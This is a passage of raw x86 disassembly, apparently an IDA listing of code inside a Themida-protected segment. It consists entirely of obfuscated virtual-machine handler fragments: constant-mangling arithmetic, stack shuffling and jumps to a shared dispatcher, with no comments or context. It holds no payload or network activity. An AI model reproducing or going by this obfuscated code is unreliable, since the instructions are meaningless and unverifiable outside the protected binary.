5 push ecx mov cl, 1 xor dl, cl mov ecx, [esp] add esp, 4 sub bh, dl mov edx, [esp] jmp loc_556330 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_551815 ; --------------------------------------------------------------------------- loc_5531EC: ; CODE XREF: Themida_:00554F66j push 2 pop ecx sub ebp, 64537AD8h add ebp, 1EC17E61h jmp loc_55D72B ; --------------------------------------------------------------------------- loc_553203: ; CODE XREF: Themida_:005598EAj pop ecx add edx, edi mov edi, [esp] add esp, 4 jmp loc_5563B7 ; --------------------------------------------------------------------------- loc_553211: ; CODE XREF: Themida_:00559E2Fj mov edx, 0 jmp loc_55294D ; --------------------------------------------------------------------------- loc_55321B: ; CODE XREF: Themida_:0055BA44j mov cl, 6Ch sub cl, al mov eax, [esp] push 0BA7h jmp loc_552779 ; --------------------------------------------------------------------------- loc_55322C: ; CODE XREF: Themida_:005571BEj add edi, esi pop esi xor edi, [esp] xor [esp], edi jmp loc_55D6ED ; --------------------------------------------------------------------------- loc_55323A: ; CODE XREF: Themida_:00559888j add eax, 19A56159h add eax, ebx sub eax, 19A56159h pop ebx push eax mov eax, 5CF2BC2h push ebx mov ebx, 18D66FDAh jmp loc_55AA50 ; --------------------------------------------------------------------------- loc_553258: ; CODE XREF: Themida_:00551987j mov edi, [esp] sub esp, 4 jmp loc_558AAE ; --------------------------------------------------------------------------- loc_553263: ; CODE XREF: Themida_:00556251j push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 push 175Ch mov [esp], eax mov eax, 2 add ebx, eax push dword ptr [esp] pop eax add esp, 4 xchg ebx, [esp] pop esp and [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55AE68 ; --------------------------------------------------------------------------- loc_5532A0: ; CODE XREF: Themida_:0055AC17j and ebp, 728B65BCh push esi jmp loc_55552F ; --------------------------------------------------------------------------- loc_5532AC: ; CODE XREF: Themida_:00551DBEj pop eax jmp loc_553070 ; --------------------------------------------------------------------------- loc_5532B2: ; CODE XREF: Themida_:00553D08j add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_559FAA ; --------------------------------------------------------------------------- loc_5532C5: ; CODE XREF: Themida_:0055D5ACj pop esp jmp loc_551B64 ; --------------------------------------------------------------------------- loc_5532CB: ; CODE XREF: Themida_:00558EB9j xor ebx, esi pop esi push ebp mov ebp, 2663937h or ebp, 674A5B88h xor ebp, 65E80D1Eh shr ebp, 5 and ebp, 486A2DD2h push eax push edi mov edi, 32284F5Ah jmp loc_5528CC ; --------------------------------------------------------------------------- loc_5532F5: ; CODE XREF: Themida_:005562E9j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55D0C0 ; --------------------------------------------------------------------------- loc_553307: ; CODE XREF: Themida_:0055BB7Dj xor ecx, ebp jmp loc_5530A9 ; --------------------------------------------------------------------------- loc_55330E: ; CODE XREF: Themida_:0055C366j xor eax, 58A57168h not eax sub eax, 6516DDB6h jmp loc_557104 ; --------------------------------------------------------------------------- loc_55331F: ; CODE XREF: Themida_:00554DFCj sub edx, 0CFB7FAh add ebx, edx pop edx jmp loc_5578FC ; --------------------------------------------------------------------------- loc_55332D: ; CODE XREF: Themida_:005554C8j push eax mov eax, 7154158Eh mov edi, 429175E4h xor edi, eax pop eax sub edi, 33C56068h add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx jmp loc_5561A2 ; --------------------------------------------------------------------------- loc_55334F: ; CODE XREF: Themida_:0055DB5Fj mov esi, esp jmp loc_55349D ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55687F ; --------------------------------------------------------------------------- loc_55335E: ; CODE XREF: Themida_:005572A7j xor eax, 2A27958Ah push eax pop ecx pop eax jmp loc_558D37 ; --------------------------------------------------------------------------- loc_55336B: ; CODE XREF: Themida_:00552FA5j or edi, 36633063h neg edi add edi, 0FE77FD77h add edx, edi pop edi add edx, 4 jmp loc_5583F6 ; --------------------------------------------------------------------------- loc_553387: ; CODE XREF: Themida_:0055C3A5j add edi, 9D3CE8D6h jmp loc_554A76 ; --------------------------------------------------------------------------- loc_553392: ; CODE XREF: Themida_:005527CFj sub edi, esi mov esi, [esp] jmp loc_559613 ; --------------------------------------------------------------------------- loc_55339C: ; CODE XREF: Themida_:0055AAA3j add edx, 4 xchg edx, [esp] pop esp push esi jmp loc_55C72C ; --------------------------------------------------------------------------- loc_5533A9: ; CODE XREF: Themida_:005586AFj shr dh, 3 jmp loc_55B736 ; --------------------------------------------------------------------------- loc_5533B1: ; CODE XREF: Themida_:00554F9Fj push 3EC6h jmp loc_5569A8 ; --------------------------------------------------------------------------- loc_5533BB: ; CODE XREF: Themida_:0055B578j push dword ptr [edi+24h] push edx pop dword ptr [edi+24h] jmp loc_55683E ; --------------------------------------------------------------------------- loc_5533C7: ; CODE XREF: Themida_:0055196Fj pop dword ptr [esp] jmp loc_55B519 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55311B ; --------------------------------------------------------------------------- loc_5533D8: ; CODE XREF: Themida_:0055858Aj add esp, 4 add eax, esi jmp loc_55D4EC ; --------------------------------------------------------------------------- loc_5533E5: ; CODE XREF: Themida_:00559CCDj add esi, ebp push ebx mov ebx, 66DC6798h sub esi, ebx jmp loc_558F2E ; --------------------------------------------------------------------------- loc_5533F4: ; CODE XREF: Themida_:0055AC4Cj mov ecx, eax pop eax or esi, ecx pop ecx jmp loc_552E0E ; --------------------------------------------------------------------------- loc_5533FF: ; CODE XREF: Themida_:00558E52j shr edx, 2 neg edx sub edx, 7E5A8B0Dh dec edx push esi mov esi, 2D830CD3h and edx, esi pop esi push esi push edi push esi mov esi, 2EBA2028h jmp loc_556CB1 ; --------------------------------------------------------------------------- loc_553421: ; CODE XREF: Themida_:00558674j and dh, 0CBh jmp loc_55C47C ; --------------------------------------------------------------------------- loc_553429: ; CODE XREF: Themida_:00558441j push esi jmp loc_5529FA ; --------------------------------------------------------------------------- loc_55342F: ; CODE XREF: Themida_:0055B5CCj add esi, edi pop edi jmp loc_559FCD ; --------------------------------------------------------------------------- loc_553437: ; CODE XREF: Themida_:0055298Ej push 60490666h pop ebx push ebp mov ebp, 3FA33096h not ebp shr ebp, 6 xor ebp, 6348755Fh xor ebx, ebp mov ebp, [esp] add esp, 4 and ecx, ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp jmp loc_557546 ; --------------------------------------------------------------------------- loc_553467: ; CODE XREF: Themida_:00552C5Dj sub dh, 29h add bl, dh mov edx, [esp] add esp, 4 movzx eax, al pop dword ptr [edi+eax*4] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55347D: ; CODE XREF: Themida_:00555EABj mov ebp, ecx mov esi, ebp pop ebp pop ecx and ecx, esi mov esi, [esp] jmp loc_55C4F2 ; --------------------------------------------------------------------------- loc_55348D: ; CODE XREF: Themida_:0055DC73j mov edx, 3D477808h sub edx, 2AFF267Eh jmp loc_551F81 ; --------------------------------------------------------------------------- loc_55349D: ; CODE XREF: Themida_:00553351j add esi, 4 add esi, 4 jmp loc_552A9E ; --------------------------------------------------------------------------- loc_5534AE: ; CODE XREF: Themida_:00558F61j mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop eax jmp loc_553FA2 ; --------------------------------------------------------------------------- loc_5534C9: ; CODE XREF: Themida_:005584EDj mov edi, 498E2B2Ch or edi, 50A370B4h xor edi, 13A76C4Eh sub edx, edi pop edi jmp loc_551815 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push eax push edx mov edx, 793E252Ah jmp loc_55D971 ; --------------------------------------------------------------------------- loc_5534FA: ; CODE XREF: Themida_:00556683j add esp, 4 push dword ptr [edi+eax*4] push 4F29h jmp loc_55C390 ; --------------------------------------------------------------------------- loc_55350D: ; CODE XREF: Themida_:0055477Ej add esp, 4 sub dword ptr [esp+4], 0FAB22CEh jmp loc_551A7A ; --------------------------------------------------------------------------- loc_55351D: ; CODE XREF: Themida_:00556220j inc dword ptr [esp] pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_553526: ; CODE XREF: Themida_:0055C949j pop ebx or ebx, eax mov eax, [esp] add esp, 4 push eax mov eax, 754F3DBFh or eax, 7A569C6h jmp loc_554698 ; --------------------------------------------------------------------------- loc_553542: ; CODE XREF: Themida_:0055B333j not edi inc edi add edi, 0CCB53A84h add ecx, edi jmp loc_559B84 ; --------------------------------------------------------------------------- loc_553552: ; CODE XREF: Themida_:00552E09j add esp, 4 sub esp, 4 mov [esp], ecx push 5CE22980h pop ecx sub ecx, 0F570CCEDh jmp loc_559E8B ; --------------------------------------------------------------------------- loc_553572: ; CODE XREF: Themida_:00556310j add edi, ecx jmp loc_5527C7 ; --------------------------------------------------------------------------- loc_553579: ; CODE XREF: Themida_:0055CEC3j push ebp mov ebp, 4 add edi, 0C840DD6h jmp loc_554372 ; --------------------------------------------------------------------------- loc_55358A: ; CODE XREF: Themida_:00551F9Dj xor edi, [esp] jmp loc_55DC09 ; --------------------------------------------------------------------------- loc_553592: ; CODE XREF: Themida_:0055BAFAj pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 jmp loc_55194B ; --------------------------------------------------------------------------- loc_5535AB: ; CODE XREF: Themida_:0055763Fj mov eax, 3A5E9C7Eh sub eax, ecx jmp loc_552CBE ; --------------------------------------------------------------------------- loc_5535B7: ; CODE XREF: Themida_:00552F3Bj push ebx push eax mov al, 79h add al, 0BAh push edx mov dh, al mov bl, dh pop edx pop eax mov ah, bl pop ebx mov ch, 7 xor ch, ah jmp loc_552947 ; --------------------------------------------------------------------------- loc_5535D0: ; CODE XREF: Themida_:00554488j dec ebx push 71Fh mov [esp], edx mov edx, 65C260D4h not edx neg edx jmp loc_5569F9 ; --------------------------------------------------------------------------- loc_5535E7: ; CODE XREF: Themida_:00556008j sub bl, 15h push eax mov al, 0B7h add al, 0A8h add al, 94h add al, 0Bh sub ch, al jmp loc_55C5EC ; --------------------------------------------------------------------------- loc_5535FA: ; CODE XREF: Themida_:0055741Aj pop ecx add esp, 4 jmp loc_55ACCB ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5537D3 ; --------------------------------------------------------------------------- loc_55360E: ; CODE XREF: Themida_:00552051j push 5A95h jmp loc_55CAA2 ; --------------------------------------------------------------------------- loc_553618: ; CODE XREF: Themida_:00551E40j pop eax push ecx jmp loc_55BD28 ; --------------------------------------------------------------------------- loc_55361F: ; CODE XREF: Themida_:0055CC85j mov [esp], edx mov dl, 9 jmp loc_556906 ; --------------------------------------------------------------------------- loc_553629: ; CODE XREF: Themida_:00552F48j sub esp, 4 jmp loc_55ABA4 ; --------------------------------------------------------------------------- loc_553631: ; CODE XREF: Themida_:005537FBj add esp, 2 add bl, 6Fh sub bl, al sub bl, 6Fh push ecx mov ch, 0AFh add ch, 0CDh sub bl, 9Ah add bl, ch add bl, 9Ah mov ecx, [esp] add esp, 4 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- jmp loc_552343 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_553669: ; CODE XREF: Themida_:005592B4j push esi jmp loc_5569C3 ; --------------------------------------------------------------------------- loc_55366F: ; CODE XREF: Themida_:005521F6j add ebp, edx jmp loc_555C06 ; --------------------------------------------------------------------------- loc_553676: ; CODE XREF: Themida_:005547F2j push ebx jmp loc_55CF96 ; --------------------------------------------------------------------------- loc_55367C: ; CODE XREF: Themida_:00556B88j pop esp add edx, 2 xchg edx, [esp] pop esp mov ax, [esp] push edx sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp push esp pop dword ptr [esp] jmp loc_55CD17 ; --------------------------------------------------------------------------- loc_5536AD: ; CODE XREF: Themida_:005524EFj push edx mov edx, 4 add eax, 36386405h add eax, edx sub eax, 36386405h pop edx jmp loc_55A9F2 ; --------------------------------------------------------------------------- loc_5536C5: ; CODE XREF: Themida_:00556DF3j dec ebp add ebp, 0CBE69C00h xor edx, ebp pop ebp mov esi, edx mov edx, [esp] push ebp mov ebp, esp jmp loc_55CDB1 ; --------------------------------------------------------------------------- loc_5536DC: ; CODE XREF: Themida_:00554F59j sub ebx, eax jmp loc_5587EF ; --------------------------------------------------------------------------- loc_5536E3: ; CODE XREF: Themida_:0055917Ej add esp, 4 push 2DBCh mov [esp], esi mov esi, esp add esi, 4 push 3DEAh jmp loc_552E9C ; --------------------------------------------------------------------------- loc_553703: ; CODE XREF: Themida_:0055AEC4j add bx, 1403h push di push esi jmp loc_555CC1 ; --------------------------------------------------------------------------- loc_553710: ; CODE XREF: Themida_:00556872j xor [esp], edx xor edx, [esp] jmp loc_556808 ; --------------------------------------------------------------------------- loc_55371B: ; CODE XREF: Themida_:00558B49j push esp pop edx push esi push edi push esi mov esi, 105B6C0Ch mov edi, 105B6C10h sub edi, esi mov esi, [esp] add esp, 4 mov esi, edi pop edi add edx, esi mov esi, [esp] add esp, 4 sub edx, 4 push edi mov edi, esp jmp loc_5577E3 ; --------------------------------------------------------------------------- loc_55374B: ; CODE XREF: Themida_:005524A3j push ebp not dword ptr [esp] jmp loc_55AAA8 ; --------------------------------------------------------------------------- loc_553754: ; CODE XREF: Themida_:0055A944j pop esp jmp loc_55C1FE ; --------------------------------------------------------------------------- loc_55375A: ; CODE XREF: Themida_:0055487Aj jmp loc_551815 ; --------------------------------------------------------------------------- loc_55375F: ; CODE XREF: Themida_:00559250j push eax mov eax, 7FC22BECh push edx mov edx, 2875402Eh push ecx mov ecx, 0D78ABFD2h jmp loc_5540A5 ; --------------------------------------------------------------------------- loc_553776: ; CODE XREF: Themida_:0055D938j push edx jmp loc_55AD68 ; --------------------------------------------------------------------------- loc_55377C: ; CODE XREF: Themida_:00553B71j mov ah, 35h jmp loc_554163 ; --------------------------------------------------------------------------- loc_553783: ; CODE XREF: Themida_:0055272Bj push esp jmp loc_552EE9 ; --------------------------------------------------------------------------- loc_553789: ; CODE XREF: Themida_:005560F5j pop edi add esp, 4 or ebx, ebx jnz loc_554691 push esi jmp loc_55B822 ; --------------------------------------------------------------------------- loc_55379B: ; CODE XREF: Themida_:00557107j xor edi, ecx pop ecx sub edi, 6CCE31D3h add eax, edi pop edi push dword ptr [esp] pop ecx add esp, 4 push 37AEh mov [esp], esi jmp loc_553DAF ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push esi jmp loc_557677 ; --------------------------------------------------------------------------- loc_5537C8: ; CODE XREF: Themida_:00552866j inc ebx dec ebx push ebx not dword ptr [esp] jmp loc_5543FE ; --------------------------------------------------------------------------- loc_5537D3: ; CODE XREF: Themida_:00553609j mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi push 395Fh sub esp, 4 jmp loc_559143 ; --------------------------------------------------------------------------- loc_5537F2: ; CODE XREF: Themida_:00557BBEj sub bl, al sub bl, 43h mov ax, [esp] jmp loc_553631 ; --------------------------------------------------------------------------- loc_553800: ; CODE XREF: Themida_:0055C99Dj push esp push dword ptr [esp] jmp loc_557DEF ; --------------------------------------------------------------------------- loc_553809: ; CODE XREF: Themida_:0055DD06j mov edi, 3ED6148Ch not edi jmp loc_55D2B7 ; --------------------------------------------------------------------------- loc_553815: ; CODE XREF: Themida_:0055C109j pop edi push edi mov edi, 26F56ADFh add [esp+8], edi pop edi sub [esp+4], ebp push ecx mov ecx, 26F56ADFh sub [esp+8], ecx pop ecx pop ebp jmp loc_551815 ; --------------------------------------------------------------------------- loc_553836: ; CODE XREF: Themida_:00556293j add edx, 6B51762Bh jmp loc_5576C2 ; --------------------------------------------------------------------------- loc_553841: ; CODE XREF: Themida_:00559AD5j mov ecx, 0DC045D5h add eax, ecx mov ecx, [esp] add esp, 4 sub edx, eax mov eax, [esp] add esp, 4 pop edi jmp loc_551815 ; --------------------------------------------------------------------------- loc_553862: ; CODE XREF: Themida_:0055314Cj mov ebp, eax mov eax, [esp] add esp, 4 push 69CBh mov [esp], edx push edi jmp loc_55C7CB ; --------------------------------------------------------------------------- loc_553878: ; CODE XREF: Themida_:00557933j pop eax mov dx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push edi jmp loc_559E62 ; --------------------------------------------------------------------------- loc_55388E: ; CODE XREF: Themida_:00553A68j dec edx and edx, 28856A7Ch dec edx sub edx, 0DEEBDAD0h xor ecx, edx pop edx sub ebx, ecx jmp loc_55C5BF ; --------------------------------------------------------------------------- loc_5538A6: ; CODE XREF: Themida_:00553F53j xchg esi, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5538B6: ; CODE XREF: Themida_:0055A6B7j jmp loc_551815 ; --------------------------------------------------------------------------- loc_5538BB: ; CODE XREF: Themida_:00551AFAj pop ebx push edx mov edx, esp add edx, 4 jmp loc_5544B9 ; --------------------------------------------------------------------------- loc_5538CA: ; CODE XREF: Themida_:00557D8Dj add eax, 4 xchg eax, [esp] pop esp loc_5538D3: ; CODE XREF: Themida_:0055D885j push edi jmp loc_55C0C0 ; --------------------------------------------------------------------------- loc_5538D9: ; CODE XREF: Themida_:00551E5Dj push ebx mov ebx, 6F0E772Fh jmp loc_55B7C5 ; --------------------------------------------------------------------------- loc_5538E4: ; CODE XREF: Themida_:0055CA58j sub eax, 72794B48h push edx mov edx, 462C021Ah sub eax, edx pop edx jmp loc_558A8E ; --------------------------------------------------------------------------- loc_5538F7: ; CODE XREF: Themida_:00551BEEj sub edi, edx pop edx add edi, 251F37B2h add edi, 562A537Ah add edi, ecx sub edi, 562A537Ah push eax mov eax, esp add eax, 4 jmp loc_5593E5 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] mov eax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_55A596 ; --------------------------------------------------------------------------- loc_553931: ; CODE XREF: Themida_:0055252Fj sub ebp, 12670A95h or ebp, 0C6F36BFh shr ebp, 4 sub ebp, 0DBA8C83Dh sub edi, ebp pop ebp std mov ecx, 3E672748h jmp loc_556D38 ; --------------------------------------------------------------------------- loc_553954: ; CODE XREF: Themida_:0055D64Dj shr ebx, 2 and ebx, 76194234h sub ebx, 1 jmp loc_554E79 ; --------------------------------------------------------------------------- loc_553965: ; CODE XREF: Themida_:0055B700j mov ecx, 2 add eax, ecx pop ecx push eax push dword ptr [esp+4] pop eax jmp loc_5588B9 ; --------------------------------------------------------------------------- loc_553978: ; CODE XREF: Themida_:0055DA1Dj pop ebx sub ebx, 4DB007EBh pop edi jmp loc_558A56 ; --------------------------------------------------------------------------- loc_553985: ; CODE XREF: Themida_:0055DD16j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55398A: ; CODE XREF: Themida_:00552B4Aj sub ebx, 5C370BC9h add ebx, ecx add ebx, 5C370BC9h pop ecx add ebx, edx push esi push ebp jmp loc_556A1C ; --------------------------------------------------------------------------- loc_5539A2: ; CODE XREF: Themida_:005579A8j pop ecx jmp loc_5592B9 ; --------------------------------------------------------------------------- loc_5539A8: ; CODE XREF: Themida_:005529DCj xchg edx, [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5539BA: ; CODE XREF: Themida_:0055724Cj push edi mov edi, 4 jmp loc_55B591 ; --------------------------------------------------------------------------- loc_5539C5: ; CODE XREF: Themida_:0055B124j push 1F6Ch mov [esp], edx mov dh, 74h jmp loc_5569E0 ; --------------------------------------------------------------------------- loc_5539D4: ; CODE XREF: Themida_:00558D07j mov ebx, [esp] jmp loc_551E13 ; --------------------------------------------------------------------------- loc_5539DC: ; CODE XREF: Themida_:00551E0Ej pop edi not edi xchg edi, esi shl esi, 6 dec esi xor esi, 1CB5487Bh add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp shr ecx, 0Ah push 2CADh mov [esp], ebp sub esp, 4 mov [esp], eax jmp loc_553146 ; --------------------------------------------------------------------------- loc_553A0B: ; CODE XREF: Themida_:00554C70j push 70E7h jmp loc_556FC3 ; --------------------------------------------------------------------------- loc_553A15: ; CODE XREF: Themida_:00556656j pop edi add ecx, edx pop edx jmp loc_555C2F ; --------------------------------------------------------------------------- loc_553A1E: ; CODE XREF: Themida_:0055BDD5j mov [esp], edx mov edx, 627C7A90h xor edi, edx push dword ptr [esp] pop edx add esp, 4 mov ebp, edi pop edi push ebx mov ebx, 55B21852h not ebx jmp loc_553FFC ; --------------------------------------------------------------------------- push ebx push 4D3D7D87h pop ebx push ebx not dword ptr [esp] pop ebx dec ebx push ecx push eax mov eax, 520331DDh push eax pop ecx pop eax push edx mov edx, 589C1D6Ch shl edx, 8 sub edx, 5BEC2F49h jmp loc_55388E ; --------------------------------------------------------------------------- loc_553A6D: ; CODE XREF: Themida_:0055DD73j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_557657 ; --------------------------------------------------------------------------- loc_553A7F: ; CODE XREF: Themida_:0055D6CAj not ebp inc ebp sub ebp, 493A3CE1h add ebp, 0B2D74E12h sub edx, 303E7424h add edx, ebp add edx, 303E7424h pop ebp push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mul cl movzx cx, ah push small 4B60h mov [esp], cx movzx cx, al push cx pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_553AC3: ; CODE XREF: Themida_:00559F1Bj xchg ebx, [esp] jmp loc_551CAB ; --------------------------------------------------------------------------- loc_553ACB: ; CODE XREF: Themida_:0055C092j pop edi sub esi, 1F3F15AAh add esi, ebx jmp loc_552225 ; --------------------------------------------------------------------------- loc_553AD9: ; CODE XREF: Themida_:00553B69j push esi jmp loc_554346 ; --------------------------------------------------------------------------- loc_553ADF: ; CODE XREF: Themida_:005570FFj pop ebp add ebp, 4 jmp loc_559183 ; --------------------------------------------------------------------------- loc_553AEB: ; CODE XREF: Themida_:005562C6j bts [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_553AF6: ; CODE XREF: Themida_:00558F0Aj push 3A0E66E1h pop edx xor edx, 18C670A1h jmp loc_55216D ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax push esp mov eax, [esp] jmp loc_557A09 ; --------------------------------------------------------------------------- loc_553B1A: ; CODE XREF: Themida_:005598BCj pop dx add ax, bx add ax, 763Dh sub esp, 2 mov [esp], cx jmp loc_55C0A0 ; --------------------------------------------------------------------------- loc_553B32: ; CODE XREF: Themida_:00558B5Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, esi mov esi, [esp] add esp, 4 and ebx, 202C6DABh jmp loc_55A249 ; --------------------------------------------------------------------------- loc_553B5B: ; CODE XREF: Themida_:00557832j not esi shl esi, 2 xor esi, 0C39BA146h xor edx, esi pop esi jmp loc_553AD9 ; --------------------------------------------------------------------------- loc_553B6E: ; CODE XREF: Themida_:00554A2Fj mov [esp], eax jmp loc_55377C ; --------------------------------------------------------------------------- loc_553B76: ; CODE XREF: Themida_:00551B5Fj movzx cx, al push ecx push edi mov edi, esp jmp loc_557C57 ; --------------------------------------------------------------------------- loc_553B83: ; CODE XREF: Themida_:00557F3Aj xor edi, eax pop eax sub edi, 8388C5CBh mov eax, edi pop edi mov edx, eax pop eax jmp loc_5586C1 ; --------------------------------------------------------------------------- loc_553B97: ; CODE XREF: Themida_:0055D396j push eax mov eax, 4 add edx, eax mov eax, [esp] jmp loc_5524E7 ; --------------------------------------------------------------------------- loc_553BA7: ; CODE XREF: Themida_:0055725Aj mov dx, 0B728h xor bp, dx jmp loc_554795 ; --------------------------------------------------------------------------- loc_553BB3: ; CODE XREF: Themida_:00559794j pop eax inc eax add eax, 632E6DE6h xor edx, eax jmp loc_5541D1 ; --------------------------------------------------------------------------- loc_553BC1: ; CODE XREF: Themida_:0055D5D5j push eax jmp loc_558B3C ; --------------------------------------------------------------------------- loc_553BC7: ; CODE XREF: Themida_:0055937Dj shl edi, 4 inc edi add edi, 9EE59936h mov ebx, edi jmp loc_55C508 ; --------------------------------------------------------------------------- loc_553BD8: ; CODE XREF: Themida_:0055977Fj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_55986F ; --------------------------------------------------------------------------- loc_553BF1: ; CODE XREF: Themida_:0055C82Fj not di neg di jmp loc_554D36 ; --------------------------------------------------------------------------- loc_553BFC: ; CODE XREF: Themida_:0055B0EFj add esp, 4 shr dh, 1 add dh, 0FFh shr dh, 5 xor dh, 5Dh push ebx mov bh, 0C7h neg bh jmp loc_55A920 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_556A48 ; --------------------------------------------------------------------------- loc_553C1F: ; CODE XREF: Themida_:00559567j add ecx, 256D74ADh xor edi, ecx pop ecx not edi xor edi, 0A41F0E53h add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx jmp loc_55C0CD ; --------------------------------------------------------------------------- loc_553C3E: ; CODE XREF: Themida_:00555DD2j push edx jmp loc_559BD3 ; --------------------------------------------------------------------------- lodsb sub al, 3Dh add al, 0 sub al, 5Ah sub al, 6Dh sub al, bl add al, 6Dh jmp loc_55C95E ; --------------------------------------------------------------------------- loc_553C56: ; CODE XREF: Themida_:0055C3E1j push edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] jmp loc_55BD75 ; --------------------------------------------------------------------------- loc_553C67: ; CODE XREF: Themida_:00551D63j xor bh, dl pop dx add al, bh mov ebx, [esp] jmp loc_556C43 ; --------------------------------------------------------------------------- loc_553C75: ; CODE XREF: Themida_:0055B7CAj sub ebp, ebx pop ebx shl ebp, 6 sub ebp, 1F797AEAh jmp loc_55ABEE ; --------------------------------------------------------------------------- loc_553C86: ; CODE XREF: Themida_:00557ACAj pop ebp add eax, edx add eax, 2F5550C6h mov edx, [esp] add esp, 4 push esi jmp loc_55CB6D ; --------------------------------------------------------------------------- loc_553C9A: ; CODE XREF: Themida_:00558897j pop esp push 4D66h mov [esp], ebx add dword ptr [esp], 282C5AD4h pop eax sub eax, 282C5AD4h mov ebx, [esp] jmp loc_559EA2 ; --------------------------------------------------------------------------- loc_553CB8: ; CODE XREF: Themida_:00558357j mov esi, 0A23AE9D1h add esi, ebp pop ebp jmp loc_5554CD ; --------------------------------------------------------------------------- loc_553CC5: ; CODE XREF: Themida_:00559D12j mov ecx, 47E26A96h or ebx, ecx pop ecx add ebx, 35E76A39h xor ebx, 9DD5D511h jmp loc_55A949 ; --------------------------------------------------------------------------- loc_553CDE: ; CODE XREF: Themida_:0055699Cj add ebx, ecx pop ecx mov edi, ebx pop ebx or edi, 7B5673E8h jmp loc_558287 ; --------------------------------------------------------------------------- loc_553CEF: ; CODE XREF: Themida_:005555E5j mov eax, 4DCD6CC2h sub ecx, eax jmp loc_5562DE ; --------------------------------------------------------------------------- loc_553CFB: ; CODE XREF: Themida_:00558F85j pop edx mov ebx, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_5532B2 ; --------------------------------------------------------------------------- loc_553D0D: ; CODE XREF: Themida_:00555A8Dj push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx jmp loc_55A84F ; --------------------------------------------------------------------------- loc_553D26: ; CODE XREF: Themida_:00554CEDj shl ebp, 6 dec ebp sub ebp, 8C2719C3h or edi, ebp pop ebp not edi add edi, 0EB3BA3D6h jmp loc_55987C ; --------------------------------------------------------------------------- loc_553D40: ; CODE XREF: Themida_:0055CDA1j sub ebx, 64222D1Dh add ebx, esi add ebx, 64222D1Dh pop esi add ebx, 4 xor ebx, [esp] jmp loc_556C82 ; --------------------------------------------------------------------------- loc_553D5A: ; CODE XREF: Themida_:0055D83Dj xor ebx, 76AF1994h sub ebx, 0F66F98FCh jmp loc_557F45 ; --------------------------------------------------------------------------- loc_553D6B: ; CODE XREF: Themida_:0055B882j mov al, 5Fh add al, 0A0h jmp loc_555BAA ; --------------------------------------------------------------------------- loc_553D74: ; CODE XREF: Themida_:005518BDj add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_558170 ; --------------------------------------------------------------------------- loc_553D88: ; CODE XREF: Themida_:00559E07j sub ecx, 114D33C7h sub ecx, esi add ecx, 114D33C7h pop esi sub edi, ecx pop ecx not edi push ebp mov ebp, 0E2A36EF8h jmp loc_55293D ; --------------------------------------------------------------------------- loc_553DA7: ; CODE XREF: Themida_:00556901j sub ebx, 4 jmp loc_555B1B ; --------------------------------------------------------------------------- loc_553DAF: ; CODE XREF: Themida_:005537B9j push 6E458BA6h push dword ptr [esp] mov esi, [esp] push 3233h mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push eax mov eax, esp add eax, 4 push esi jmp loc_55C038 ; --------------------------------------------------------------------------- loc_553DDF: ; CODE XREF: Themida_:0055DCA7j add edx, 4 jmp loc_55CCEA ; --------------------------------------------------------------------------- loc_553DEA: ; CODE XREF: Themida_:0055267Ej add esp, 4 xchg ecx, [esp] pop esp jmp loc_558FEF ; --------------------------------------------------------------------------- loc_553DF9: ; CODE XREF: Themida_:005566FBj pop ecx jmp loc_55BA94 ; --------------------------------------------------------------------------- loc_553DFF: ; CODE XREF: Themida_:0055C01Bj mov esp, [esp] inc word ptr [esp] pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_553E0C: ; CODE XREF: Themida_:005593ABj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push ecx mov cl, dl push edx push eax mov ah, cl mov dh, ah pop eax mov [edi+eax*4], dh push dword ptr [esp] pop edx push eax mov eax, esp jmp loc_55BD47 